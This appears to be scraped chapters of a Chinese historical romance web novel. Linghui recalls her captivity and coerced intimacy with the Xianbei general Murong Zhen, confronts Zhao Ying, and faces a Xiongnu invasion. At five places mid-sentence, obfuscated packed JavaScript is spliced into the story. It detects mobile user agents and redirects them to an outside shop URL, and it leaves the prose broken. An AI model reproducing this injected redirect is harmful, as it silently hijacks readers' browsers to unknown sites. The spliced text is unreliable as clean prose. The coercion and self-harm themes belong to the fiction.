赵缨隐约猜到她要说什么,不知为何,手轻轻颤抖起来。 灵徽却并不给他退缩的机会,揭开伤疤也好,给了彼此更多的可能,不会因为隐瞒而生出更多龃龉。 “我那三年经历了什么,阿兄不想知道吗?”她平静地问,直视着赵缨的眼睛,似乎包含了某种期待。 赵缨却敛下了眸,浓密的睫毛翕动颤抖,掩饰着心头涌过的慌乱和不安。一只手在袖中紧握成拳,才勉强控制住因为心绪激狂而带来的颤抖。 他摇头,轻声道:“若我说不愿听呢?” 灵徽想笑,泪水却忽然涌了上来:“何必逃避,毕竟迟早是要知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364243|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的,不是吗?阿兄既然有心娶我,便该接受我的一切过往,不管是你愿意的,还是不愿的。” “圆月,你为什么就一定认为我会介意?”赵缨终于抬起眼眸,直视着眼前这个他爱了多年的女郎,“我不想你说,只是不想你难过,不想你和过往纠缠不清。在我眼中,你就是你,和什么经历过往根本就没有关系。我心悦你,无关乎其他,只是你这个人而已。” “可是,我过不去。”灵徽的眼泪簌簌而落,指了指自己的小腹,“这里有过一个孩子,我亲手将匕首扎了进去,了结了他,也断送了自己能做阿母的机会。” 她的唇剧烈颤抖着,扯了一个诡异的笑:“你想必也从楚楚那里知道了,但肯定不知道,这一切都是我亲手造成的。我不是你心中那个天真明媚的女郎,这双手沾过人命,而这里已经脏了。” 她指的地方,是自己的心。 身体污损了,并无关系,但是心若是浑浊肮脏,那该用什么才能挽救呢?她知道,哪怕她人已经回来了,她的一部分灵魂却死在了北地,残缺难以拼凑。 “我曾说,此生不嫁,那根本不是气话。纵使是阿兄,我也不敢奢望你能接受。今日既然阿兄已经话说开了,我自然不愿欺瞒。毕竟是终身之事,阿兄想明白些吧。无论如何,我都不会有怨尤,我们还和以前一般,此生你都是我的亲人,不会改变。” 说罢,她疾步离开,几乎是用跑的方式,仪态狼狈。 不想让他追上来。 不想看到他的犹豫,哪怕只是一瞬。 经历了太多伤害,背叛,以为自己早就不再相信人性,不会再将心捧出来,交给另一个人。可是赵缨不是别人啊,无论迷途多远,他都会等在原地。若他不在,又该何以为继呢? 她自诩坚强,以为自己不会在乎。说服自己即使这个世上所有人都舍弃了自己,她仍爱自己如珍宝。 可是她还是会有期待。期待有人携手同行,不离不弃。 66. 六十六、辽东 回忆太苦,却还是无法从身体中剔除,想起时便有剜心之痛,但又不能真剜去了,也算一了百了。 那一夜,灵徽又梦到了辽东郡公府,梦魂回到了一个寒风刺骨的冬日。 辽东的冬天太过漫长,一旦下起雪,好像几天几夜都下不完似的。漫天飞雪如扯絮,从四面八方侵袭而来,密密麻麻地交织在眼前,将天地都笼罩在一片雾蒙蒙的白色之中。 她已经来到这个地方三个月了,无名无分地被慕容桢藏在后宅,像个被关在笼子里的鸟。侍女们汉话说得不好,只是依着慕容桢的吩咐,叫她小夫人,与她再无更多交流。 灵徽很寂寞,也很委屈。 她一个世家贵女,因为战乱,流亡在这苦寒之地。家仇未报,却被一个蛮夷困于后宅,这样下去,声名恐怕是难保。 小夫人……去他的小夫人,谁要当他的小夫人!若是阿父还在,定会打得他满地找牙。他一个异族男子,还敢觊觎弘农杨氏的女郎,真是不知天高地厚。 可是,阿父已经不在了,玄鉴阿兄也没了消息,洛阳城也陷落敌手……她引以为豪的一切,都随着战争的烟尘,消弭无踪。 慕容桢回到院中时,身上全是雪珠子,连眉毛都被染成了白色。一进门,便带着一股寒气,急冲冲往内室而去。 “小夫人在书房。”侍女跟上来,说道。 于是他又径直折去了书房。 灵徽正在画画,几枝墨梅刚刚落就,被忽然闯入的人陡然一惊,一大滴墨迹就落在了画上,晕成了难看的一团。 “哎呀,又白画了。”她怒目嗔怪,娇气任性的厉害。 慕容桢最喜欢她这个样子,忍不住上前,一把将她抱起,冰凉凉地吻就落在她的颊上,激地她一面躲,一面又要咒骂哭喊。 他的吻蜿蜒在她耳边,低低地笑:“别躲,我有好消息要告诉你。” 她果然就不躲了,侧过脸,眨着眼睛,期待地看着他。 “此次冬狩,我猎了好几张虎皮,白山上最好的吊睛虎,给你拿来做毯子。”他颇自豪,炫耀之意分明。 灵徽眸中的光瞬间黯淡了下来,摆脱了他的桎梏,闷闷道:“我不喜欢,也不想要。” 她的期待和他的给予,总是有很大的差距,他拿自己当无知的孩童,以为用些小玩意就可以让她展颜。可是她想听的想要的,分明不是这些。 慕容桢被她的态度激怒,冷着声道:“这虎皮多难得,你可知道?多少人向我讨我都没给,一心只想着你怕冷,你这般扫兴却是为何!” 灵徽不理他,自顾自走到窗边,执起书卷。 慕容桢却追了过来,将书卷夺了过去:“看来我是太纵着你了,让你以为这里是洛阳,你想怎么样就怎么样。” 灵徽跳起来便要夺,但哪里是慕容桢的对手,不过轻巧地一旋身,她便踉跄地摔在了地上。 她没有哭,也顾不得形容的狼狈,爬起来又要抢,仿佛执着地要证明什么似的。 撕扯间,慕容桢忽觉得脸颊一阵火辣辣地疼,他顿觉不妙,走到镜前定睛一看,只见一道触目惊心的划痕,就那样突兀地出现在他的脸上,血珠慢慢渗出,看着又突兀又尴尬。 他望向事情的始作俑者,然而她并未有丝毫抱歉和恐慌,只是看着自己修剪的分外尖利的指甲,沉默又无辜的眨了眨眼睛。 果然是太纵着她了,一个堂堂的万军主帅,竟然被一个小女子伤了脸面。 他忽然生出了一丝恶念,看不得她那样桀骜不驯的样子,不想再捧着她的骄纵,小心翼翼地护着她可笑的尊严。 于是装作漫不经心,扔下了一句话:“既然你觉得得到虎皮不是好消息,那我便再给你说一件吧。” 在她好奇的目光里,他的声音低沉又缓慢:“你口中那个玄鉴阿兄,可是叫赵缨?” 她听到这个名字,双眸睁得很大,仿佛一室的光都落满她的眸心,那样鲜活,那样动人。可是他反感这样的动人。 “有他的消息了,他在钟离城。”他将一枚玉佩扔到了灵徽手中,看着她爱如珍宝般的细细摩挲,寸寸打量,然后落下了一句冰凉凉地话,“不过,他死了。” 那一瞬间,她眸中聚起的所有光,尽数散了,只余空洞。 他以为自己会有抱负的快感,可心却不听他的,只有刺痛一片。 她将玉佩攥得很紧很紧,一双眼睛一直盯在上面,好像能看出什么不一样之处。然而,那样的纹路,那样的色泽,分明就是他的东西啊。 可她不信:“你胡说,单凭一枚玉佩,就能断他生死么?诅咒他对你有什么好处!” “胡说?这不是他的东西吗?”慕容桢觉得自己很奇怪,被一股莫名的情绪牵引着,说出的话都不像他自己的,“他死前交给别人的东西,还能做得了假?” 慕容桢以为她会继续追问。追问赵缨的死因,追问他死前的遭遇,追问自己为什么能得到这个东西…… 毕竟成日挂在嘴边的人,定然是很牵挂的。 可是,她什么都没说,整个人仿佛是泥塑木雕般,就那样握着玉佩,呆呆地坐着。若不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382038|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她灰白一片的脸色,他几乎以为灵徽只是在发呆而已。 过了片刻,见她仍不动,慕容桢便失了耐心,拂袖而去。 不过就是个对她很好的兄长罢了,她一定会难过,但也只有难过而已。等她缓片刻,也许就能想开了吧。这样的乱世,生离死别,原本也是常事。 慕容桢不肯承认,他捂了这么久的消息,始终不敢说出来,就是因为猜到了灵徽对赵缨的感情,怕她伤心难过,怕她郁郁寡欢。今日骤然说出,也不仅仅是被她激怒,他也是在负气,气他这么久的陪伴爱护,始终无法代替那个人的地位,始终无法让她动容。 他携着风雪,一路来到了他阿母的住处。赫连氏一看到儿子,便注意到了他脸上的伤,嗔道:“这个汉家女子,怎么如此刁蛮,再如何也不该伤到脸啊。” 慕容桢摇头,说不介意:“我和她玩闹,一时失了分寸,她也不是有心的。” 赫连氏不满他的包庇,一面吩咐侍女去取药,一面又道:“要不是你纵着,她能如此无法无天?除了长得有些姿色,我是看不出这个汉女有什么好的。依我说,你再宠她也该有个度。将来若是段氏女入了门,见你这样偏颇,肯定要闹了。” 阿母口中的段氏女,是段夫人的侄女,也是段部鲜卑的第一美人。可是他厌恶段夫人,自然也不会将段女放在眼里。 “阿母听谁说我要娶她了?谁喜欢谁便去娶,我是看不上她。”慕容桢在她母亲面前,并不像个杀伐凌冽的将军,反而随意极了。 赫连氏摇头,有些惶恐:“可不要乱说,夫人肯将侄女嫁给你,这是看重咱们母子。你阿父也很满意这桩亲事,说待你及冠,便要让你完婚呢。” 慕容桢很不满阿母对于段夫人的畏惧,冷哼一声:“她一个没有子嗣的妇人,着急给自己找后路呢,阿母怕她作甚。我后宅的事,她也想插手,未免管的太宽了些。” “段氏也没什么不好的,我看生得也不比你屋里这个差。你看她,瘦瘦弱弱的,恐怕难以绵延子嗣呢。” 慕容桢想到了什么,弯了弯唇角:“不试试怎么知道,待她生了孩儿,便是我的长子。我自当给她一个名分。” 叫她小夫人,到底也舍不得让她当妾。若是她肯忘了那个人,安心在辽东住下,他一定明媒正娶,抬她进门。 母子俩正说着话,忽听到门外有侍女惊慌禀告:“公子,大事不好了,小夫人骑马出府了!” 外面冰天雪地,她又不会骑马,这是要送死去吗?慕容桢仓皇间连大氅都没有裹,匆匆跑了出去。 67. 六十七、玉碎 慕容桢追上灵徽时,她已出了城。整个人坐在马背上摇摇晃晃,连马镫都踩不住,只是一味拉扯着缰绳。 那匹马被她扯得狂乱,甩着头,想要将她颠下马背。可即使如此,她仍没有停下的意思。 若不是空影脚程快,几步便追上了人,恐怕她这会儿早已堕马而死了。 慕容桢催马上前,在追至其身旁时,微微弯腰,然后趁灵徽不备,揽住她的腰,将她搂抱过来,放在自己身前。 一气呵成,迅捷如电,在她还没有来得及挣扎时,便已调转马头,打马回了府中。 所有人都能感受到他的怒气,他甚至一句话都没有说,但寒霜般的一张脸,便如风雪般侵袭而来,仍是谁都不敢招惹。 他一路沉默着,将灵徽打横抱回了内室,所过之处奴婢纷纷低头,识相地退了开去。 “你放开我,慕容桢,你放开我!”当看到他的目的地时,灵徽挣扎的越发剧烈,本就苍白的脸,因为羞愤,染上了一抹诡异的红。 他浑然不理,一脚踢开了门,对外面的仆婢道:“都给我滚远一些!”,然后又将门重重阖上。 暖意融融的室内,飘散着若有若无的香气,帷幔低垂,颜色冶艳又旖旎。 看着近在咫尺的娇美容颜,慕容桢的怒意稍稍平复,取而代之的是一种强烈的渴望。那渴望如火,灼烧着他的理智,燃得他五脏六腑的难受。 “你当真心里只有他么,为了他连命都不要。那我算什么,我这样待你,你竟然如此无动于衷。杨灵徽,你的心是石头做的吗?”他控诉着身下女子的无情,动作狠厉,但眼中却满是悲伤凄惶。 珍之爱之,不如得到。她若是成了他的女人,便会在这里安心地待下去了吧。 他自诩痴情,不屑于身边男子那样的专横无情,视女子如草芥。他只想和她相伴朝夕,可她从来不屑一顾。 白山之虎凶猛异常,他拿出拼命的气势为她猎虎,只因她抱怨天寒地冻,榻上太凉。 他受了那么重的伤,怕她听了担心,可她却淡淡地说自己并不喜欢。 原本不值得,与其看着她为另一个男子要生要死,不如将她据为己有。他慕容氏的血性男儿,从没有成全这个说法,更何况那个人早就死了,凭什么和他争! 一片莹润如玉的肌肤掩藏在衣物遮蔽的地方,散着清甜的香气,诱着他的探索之心。 慕容桢皱眉,再不容灵徽躲避,伸手箍住她的腰,另一只手轻而易举地就将衣物从她的肩上剥离下来。 她的后背上有斑驳的伤痕,就像是美玉中交错混沌的纹路,新旧叠加在一起,昭示着她在流亡过程中曾遭遇过的折磨。他忍不住,用指触了触,还来不及体会心酸的感觉,就被她挣扎着推开了。 她的脸颊上呈现出诡异地潮红,一双眸子愤怒地盯着他,大有鱼死网破的气势。 慕容桢心下,一片惘然。 “你……你不可无礼!”她颤抖着唇,半天吐出这样一句话,或许是因为激愤,手也跟着颤抖起来,好半晌才勉强将衣服拉了上去,遮掩着自己的身体,仿佛那样就能挽留住自己所存不多的自尊。 慕容桢叹了口气,努力不暴露自己的恼羞成怒,不愿让她看到自己的无能为力。 他看着她避无可避,犹如困兽的样子,轻笑道:“你大约忘了,你的命是我救的,容不得你自己作践。同样,你早就被人送给了我,是我的女人,府中乃至辽东无人不知,我若是太守礼,岂不是很奇怪。” 她眨着大眼睛,像是终于想起来自己糟糕的处境,终于,两行清泪盈盈落下,露出一丝脆弱:“慕容桢,你莫要动怒,有话好好说,不行吗?你是辽东郡公的儿子,自然少不了女人,不一定非得是我,对不对?” 这么多天,这是她说过的,最温柔小意的一句话。他以为她会永远那样张牙舞爪,恃宠而骄。 “你果然不明白,你当真没有心。”慕容桢切齿,只觉得这句话说出来,连他的爱都亵渎了。 她不在乎他的喜欢还是不喜欢,她的心中,自己始终只是个蛮夷罢了。 “你有句话说得很对,我不过是个蛮夷,做不来恪守礼法的事。”说到这里,慕容桢的眸子冷了冷,望着灵徽的眼神中多了几分漠然。 “你混蛋!”她咒骂着,不再装柔弱来博取对方的怜惜。她以为自己已经陷入了无比可怕的深渊,却没想到深渊之下,仍不可见底。 她不由地哭了起来:“世道动荡,才容你这样的豺狼横行。” 众生皆苦,无人不冤,若不是萧家皇帝胡作非为,他们鲜卑人原也该有一个平静幸福的生活,不至于一个个男子早早上了战场,在苦寒之地想要拼杀个活路。 他要的是早日结束这乱世,平定天下,安抚百姓,而不是陪着一个娇养的女郎,演这出矫情的戏码。 “这世道如此,不是你们汉家皇帝作孽过多吗?我一个蛮夷,尚知体恤百姓,可他们却只知内斗,不管苍生死活。”慕容桢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396828|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,俯身,用唇轻触她的脸颊,意料之中的温软触感。 她的身上有三月桃花的味道,蛊惑着他的心跳。 灵徽受了这样的唐突,脸上的血色一点点褪尽,连唇都泛出了夸张的苍白。 哪怕听说阿父战死,她失了依祜,哪怕听了赵缨的噩耗,她心如死灰,她也从未动过了断的念头。 她以为只要活着,就还有希望。可是现在,她知道自己在劫难逃,注定在这场乱局中粉身碎骨。 慕容桢见她一言不发,安静地近乎诡异,微微诧异。室内光线昏昏,他看不到她眼里荒芜的颜色。 “你真的……不肯放过我?”她的语调哀婉地不成样子,就算是再冷酷无情的人,也难免生了几分恻隐。 “灵徽,你踏踏实实待在这里吧。跟了我,我定会竭尽全力护着你,宠着你,不让你再受委屈。”慕容桢俯身将灵徽紧紧揽在了自己的怀中。 她消瘦的厉害,落在他怀中的分量,轻的像是一抹随时消散的云。 她呜咽了几声,慢慢归于平静,用纤弱的手轻轻攥住了慕容桢的衣襟,悲哀又绝望的语调自耳边传来:“你不要后悔……” 他绝不后悔,沙场悍将,战无不胜,从来不是因为妥协,而是因为无所畏惧。 此刻,心爱的女子就在自己身下,二十多年枯井般的心里,有什么东西在悄然生长。随着他轻柔的吻落下,随着她的衣衫落下,随着他们的呼吸声慢慢纠缠,随着烛火慌乱不安的跃动…… 他的心田芳草萋萋,繁花似锦。 真是奇怪呢,原来有人陪伴的感觉是这样的美好。香气缭绕中,他仿佛跌入了云端,随着起起伏伏的心跳,肋生双翼,九天翱翔。 …… 不知何时,更漏已断,香气渐冷,烛火寂灭,月华满天。屋内的人才渐渐没有了声响,相拥着安眠。仆婢们早被带了下去,没有靠近打扰。 万籁俱静之时,唯有一人睁着双眼,眼里藏着灰败和死寂。 月华悄然流转,转过朱阁,漏过绮户,铺陈在内室的地上。人若是如月一般该有多好,哪怕残缺的不成样子,也终有圆满的一天。 可她却要撑不下去了,梦里期盼过的团圆,竟是遥遥无期,就算再相见,也不过是七零八落后的委曲求全。 或许她当初就不该逃,在洛阳城破的那一天,就该静静地等待死亡的到来。 若是那样做了,至少还有尊严,不像现在,活得人不人,鬼不鬼的。 68. 六十八、访客 噩梦再无休,也终有清醒时。 灵徽醒来时,晨曦正好,恰有一抹春光穿过屋外的花树,落在了天青色的窗纱之上。那花树之形便如精心雕刻在窗上一般,有种慵懒从容的美。忽有一只喜鹊落在窗台上,便和它一起入了画,共成春景。 灵徽不愿困在过往的悲伤中无法自拔,她想要走出来,想要新的生活。 赵缨说得话,仍在耳边。 那日他并未容她独自离开,而是追上去,沉默地将她抱在怀中,像是安抚孩童般,轻轻拍着她的背:“圆月,这个世上你我只有彼此,曾经虽有分离,今后再无离散。后面的路定然艰难,我想和你携手同行。” 他说得其实是事实,荆州暗流涌动,并不比建康安稳多少。诸事艰难,容不得她自怨自艾。 灵徽本欲带着云阁去郊野。 如今正是春耕之时,阿父说过,若生焦躁不足之心,便去田野乡间多看看。那一日,车马经过,恰逢雨后。只见雾气蒙蒙的山脚下,沃野绵延,其间阡陌纵横,新绿早生。有农夫驱赶着耕牛,穿梭于田地间,辛苦忙碌却笑意满眼。 战乱多年,很多地方都变成了荒无人烟的废墟,但只要有一丝生存的机会,便能看到挣扎求存的忙碌身影。阿父说得对,他们戍卫边关,阻挡敌寇入侵,为的就是保一方安宁,保百姓的安居乐业。 若传言为真,匈奴大军挥师南下,城池攻陷之日,便是这些安定祥和被踏破之时。守土之责,不可谓不重。 方要出门时,却听仆婢来报,说有一位建康的王十六娘前来拜访,还请一见。 怎会是王令华。 虽不明白她前来的意图,但到底不好不见,只能收起东西,坐在堂室中等候。 来的人果然是她,今日穿了一身鹅黄的春衫,格外明媚,一见灵徽便亲昵地寒暄起来,好似她们很熟稔。 “早仰慕女君风华,可惜我那时身体不好,一直病着,错过了相见的机会,现在都觉得可惜。”她接过云阁递上的新茶,轻轻嗅了嗅,又夸赞道,“这茶清香之气绵长,应是树上新茶,尚未待雨吧。” 品茶清谈,皆为建康风雅,王令华自然是行家里手。灵徽浅笑,却不欲同她一起谈论这些,只是淡淡道:“宜城本地之茶,闻着不错,女公子见笑了。” 王令华在建康时便听过灵徽之名,知她为人疏淡,才有了高士之名,拥趸者甚多。若不是出了后面的彭城王之事,她在建康过得倒很是得意,连谢后都对她十分礼遇。 可是偏就倒霉,招惹了最不该招惹的长公主。那件事明眼人都能看得出,是长公主设计,萧季瑶一向跋扈,闯了这么大的祸,却只得了个禁足的处罚。 她很为灵徽惋惜,不过此事最可怜的还是堂兄,被贬谪去了交州。那地方瘴气严重,三叔母每每提起,总是掉眼泪。 她暗暗抬头,打量着灵徽,越看她越美,便也理解堂兄的冲动之举是何缘由:“女君喜好果然不俗,这茶虽无盛名,但胜过其他百倍,我很喜欢。” 灵徽莞尔,不置可否,一时气氛有些尴尬。 但王令华却不以为忤,她仍活跃,自顾自地说着俏皮话,即使灵徽冷淡,也不免和她多说几句,慢慢也就聊得热闹起来。 “听说匈奴人要打过来了,我阿姊说什么也要让我回建康去。可是我不想回去,我阿父凶得很,动辄便有惩罚,我阿母也总说女子要矜持守礼,什么都要约束着,连吃饭睡觉都有规矩。”说起家中,她皱起了眉头,显得很忧愁。 灵徽有意试探,便道:“虽说如此,但你留在这里,赵都督想必也不会安心。你若有失,让他如何向王家交代。” 王令华听完,只是看着灵徽,忽然用衣袖掩住了唇笑了起来:“女君莫不是认为我是为赵都督而来的吧?” 见灵徽露出一丝迷惘,她便解释道:“我又不喜他,他也不喜我。所谓的婚事,不过是一场误会。我也不知道为什么阿父对外说,要将我嫁给他,若他真有这份心思,我必当誓死抵抗。而且……” 她忽然上前,神秘兮兮地凑到了灵徽耳边:“你当真不知道他心中的人是谁吗?” 灵徽摇头,继续装懵懂:“十六娘知道?” 王令华叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419017|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气:“我就说他那个人,又木讷又口拙。做了那么多事情,人家女郎连他想什么都不知道。” “可他明明亲口答允了相国的提议。”他亲口所说,灵徽没有听错。 王令华笑得灿烂,一副所致甚多的模样:“他若不先答应下来,恐怕陛下立即就给他和豫章长公主赐婚了。说起来,若不是陛下的亲姊妹都在当年那场大乱中死了,他哪里需要用到豫章长公主。你看,那位荒唐的名声早就传出去了,哪怕陛下有意,都督也不敢娶啊,只能出此下策。” 萧祁这个想法早就有了,灵徽心里清楚。关于他们与长公主的纠葛,也不足为外人道,灵徽缄口不言,只是沉默。 王令华只当她不信,又说道:“此计并不算高明,不过陛下也不好从臣子手中抢婚啊,那传出去多难听。” 事实是,萧祁一心要将赵缨攥在手中,与皇家结亲是最合适不过的方式。他绝对不愿让赵缨结亲王家,于是生了疑心,将赵缨继续放回了荆州,让谢渊做了扬州刺史。按照赵缨的说法,王裕也正是利用了这一点,成功施了离间之计。 虽说双方都有所图,如何能保证最后不会弄假成真呢? “虽说如此,但毕竟是欺君……”灵徽缓声,将疑虑说了出来。 王令华摆了摆手,满不在乎:“姻缘之事,朝夕有变,又不是正经的婚约。都督与我说好了,到时由我出面,以死相逼,我阿父自然会顺手推舟将此事揭过。不过这样以来,他可是欠了我一个大人情了……” “我是一定要讨回来的。”她眯了眯眼睛,笑得像个狐狸。 灵徽掩袖,亦浅笑起来。 当初见她,颇多偏见,只觉得她张扬。可是今日相谈,原来不过是个娇养出的,心思单纯仍向往情爱的女郎。联想到赵缨给她暗示的,十六娘对南阳王的感情,灵徽只为她唏嘘。 可是王令华的话,只能证明赵缨却无与王家结亲之意,但她想得太简单。能让赵缨冒着触怒龙颜的风险去做的事情,绝对不会只是逃避赐婚,他一定还有其他目的。 他不说,那就由她亲自探究。 69. 六十九、争执 灵徽终究来不及想赵缨的意图了,因为匈奴大军压境很快从传言变为了现实。比传言中更多的兵马直奔南阳,便如寒流侵袭,搅扰了本该热闹进行的春耕。 荆州本就是四战之地,胡马南下,首当其冲。 虽说荆州兵多粮足,但灵徽还是隐有不安。晋阳城的阴影一直在心中,何况她也从未亲眼见过赵缨领兵。 别人眼中,他或许是沙场悍将,但于她而言,他只是血肉之躯。 “匈奴大军压境,你怎么一点都不着急?”灵徽对坐在案前摆弄棋子的赵缨说道,见他不为所动,有些焦急,“荆州之局关乎天下,万不可掉以轻心。” 赵缨手里的黑子落下,才终于抬起头来,却是笑意悠闲:“刘棼将都城搬到洛阳,本就有南下之心。像这样举兵袭扰之事,每年都有,早就如常,做好防御就是了。” 灵徽皱眉,对于他的散漫态度颇怀疑:“果真?那为何流言四起,百姓惶惶,举家南逃的越来越多?” 赵缨的手顿了顿,抬起头,饶有兴致地看着灵徽:“圆月真是越来越厉害了,不仅心怀家国天下,而且对时局也如此敏锐。” 灵徽才不理会他是不是讽刺,上前逼问道:“你一定有事瞒着我,你什么都不说,就不怕我有什么误会?” “你会有什么误会?”赵缨放下棋子,不答反问。 灵徽看着他的眼睛,半真半假地笑:“比如你与匈奴人早有勾结,或者,你还有更大的图谋……” 赵缨的笑意陡然凝固,看着灵徽,半晌后,用手轻抚她的额发,声音依旧温柔:“你总是喜欢胡思乱想,我不说,不过是怕你思虑太过。圆月,待一切水落石出,你当知我的苦衷,也会明白我为什么这么做。” 灵徽躲开他的触碰,声音颇冷:“可我现在想知道,为什么要等以后。” 赵缨叹息:“因为我不想你担惊受怕,一切有我,你只需无忧无虑就好。” “什么都不知道,那不是无忧无虑,那是糊里糊涂。我阿父当年也如你这般想,可事实呢?他活着的时候,我担心他,牵挂他。他死了,我受他牵连,无处可去。我不想当一个被蒙蔽欺骗的金丝雀,我原本可以和你一起面对一切,只是你并不相信我。”灵徽睁着一双明澈的眸子,灼灼看着赵缨。 她依旧柔弱,但此刻看着分外凌厉。 “阿兄,你我之间有很多问题,都没有解决,你还没有看出来吗?”灵徽见赵缨仍旧沉默,只是皱着眉看着自己,不由怆然。 “你以为我和你因为一些儿女之事在闹脾气,所以你觉得只要解释清楚你和王家女的事情,我便能够释怀。” “你以为我不过是个春心萌动的小女郎,满心满眼都是婚嫁之事。我会困在情爱之中,辗转着到底是嫁你更稳妥,还是嫁别家郎君更幸福。” “在你心里,男子便该建功立业,女子就该红袖添香。天下大事与我无关,我只需躲在你身后,过你口中的安稳日子。” “可是阿兄,我的所求,从来都不是这些。我讨厌你事事欺瞒,我不喜欢自以为是,我根本就不需要你保护,而且你也保护不了我。每一次遇到危险,都是我自救的,如果真的等你,我现在早就死在了裴府,声名尽毁……不对,我早就死在辽东了……要不是我自己逃到清河,还托人带了消息给你,你以为你能成功将我带回吗?” 她说了太多太多话,用了太多太多气力,看着赵缨的情绪慢慢从震惊到气恼再到愧疚,她终于忍不住,捂住了脸瘫坐在了地上。 可惜,眼中却无一滴泪水。 说出来真好,不必活在可以营造的假象之下,和他猜忌怀疑,彼此都看不清楚对方最真实的嘴脸。 她说过,经历太多,早就面目可憎,再也回不到以前的天真烂漫,岁月静好。 让他知道真相也好,生了疮的地方,就该用利刃剔除腐肉。否则表面掩饰的越好,内部溃烂的越快。这个道理,也是慕容桢教给她的。她虽然生恨着那个人,可也会时时念起,他教给自己的东西。 赵缨的爱,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430201|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵容也是禁锢。慕容桢的爱,是伤害也是成长。 她不怨他们任何一个,她只怨自己太过弱小,无法完全把握自己的命运。 大约是被她的离经叛道所惊,赵缨怔怔地坐在几案前,目光落在局势胶着的棋盘之上,许久许久,不发一言,也没有挪动一下。 他就那样坐着,以为这样便能让自己的心绪平复,以为这样就能接受自己编织的那个幻梦的破灭。 这么多年,保护她、照顾她已经成了刻入骨髓的本能。可她现在却告诉自己,她觉得这是一种禁锢,是他的自以为是,多此一举。 气恼也有,但更多的是无奈和迷惘。 他们便那样僵持着,固守着自己的倔强。过了很久,赵缨才长叹一声,说了这样一句话:“此次匈奴南下,南阳王必有动作,你无需做什么,只要提防你身边人便好。殷沣虽为师父旧部,但你万不可信任他。我如此说,可算得坦诚?你不奢望你信我一面之词,但以你之聪慧,只要不被旧情蒙蔽,总能发现端倪。若真想帮我,便不要受人蒙蔽,让我分心担忧你。” 他说完,拂袖而去,去时似有怒气。 灵徽明白他为何生气。他既然知道了殷沣的存在,自然也就知道自己欺瞒了他的事情。这样想来,他对自己有所保留,也在情理之中。 原本是她先不坦诚的。 可她如何坦诚,难道要指着鼻子问他,是否背叛了阿父吗? 不过他说得也有道理,殷沣说得话到底是真是假,总不能听信一面之词,试探一下便知道了。 她易受旧情所扰,也是事实,赵缨并没有说错。 当夜,灵徽便写了一封信,让人送去百里外的新野。驻守新野的宁朔将军胡意之乃是阿父旧部,灵徽以印信与他取得联系,并将殷沣安插在他身边,做了随军司马。新野为南阳和襄阳间的重镇,万万不可有失。 她虽颇多猜忌,但匈奴来犯这样的大事前,她不敢有丝毫懈怠。若真因为自己不查,而让战事有失,她万死难赎。 70. 七十章、危局 去往新野的信始终没有回音,灵徽正疑惑焦虑之时,却听云阁来报,说殷沣亲自登门前来拜见。 彼时正是午后,阳光落在庭中的海棠树上,晒的花瓣都有些葳蕤。灵徽不料他会此时前来,正躺在窗边的睡榻上半梦半醒。 听到时,猛然坐起,诧异万分。 她与殷沣见面,一直都是避着人的,毕竟晋阳旧事至今仍不知内情,而且她私下结交阿父旧部,怎么都不能让人知晓。可是殷沣就这样公然出现在她的府邸,怎么想都觉得奇怪。 但当她见到人时,却瞬间明白了。 因为随殷沣一道前来的人,确是谢衍。 灵徽没想到,过了这么久再见到他,会是这样的情况下。她更没有想到,谢衍还愿意再看到她。 